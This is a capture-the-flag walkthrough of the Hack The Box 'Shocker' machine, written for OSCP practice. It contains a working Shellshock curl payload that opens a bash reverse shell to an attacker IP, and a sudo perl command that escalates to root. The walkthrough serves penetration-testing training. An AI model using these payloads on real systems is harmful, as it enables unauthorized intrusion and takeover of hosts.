Hack the Box is an online platform to test and advance your skills in penetration testing and cyber security.
In this series of articles we will show how junior evaluators complete some Hack The Box machines in their road to OSCP, a well-known, respected, and required for many top cybersecurity positions certification. Certified OSCPs are able to identify existing vulnerabilities and execute organized attacks in a controlled and focused manner. They can leverage or modify existing exploit code to their advantage, perform network pivoting and data exfiltration, and compromise systems due to poor configurations.
Let's start with the fun!
Shocker
Initial Foothold
Let's use gobuster on port 80. We find a directory that returns a 403 (forbidden): cgi-bin.
Since the box is called Shocker, I expect some kind of shellshock vulnerability. For that, let's
see if we can find a bash script inside the folder we just found.
gobuster dir -w /home/angel/ctf/wordlists/web/raft-medium-directories.txt -u http://10.10.10.56/cgi-bin/ -x sh
We find: 10.10.10.56/cgi-bin/user.sh
User
After searching for a while about shellshock + cgi-bin I came up with this:
curl -s -A '() { :; }; echo "Content-Type: text/plain"; echo; /bin/bash -c "bash -i >& /dev/tcp/10.10.14.22/12345 0>&1"' http://10.10.10.56/cgi-bin/user.sh
Which gives us a reverse shell.
We can get the user flag at: /home/shelly/user.txt.
Root
Doing sudo -l reveals we can use perl as root without a password.
Quick search on GTFObins and we get this: sudo /usr/bin/perl -e 'exec "/bin/sh";' which gives us a
root shell.
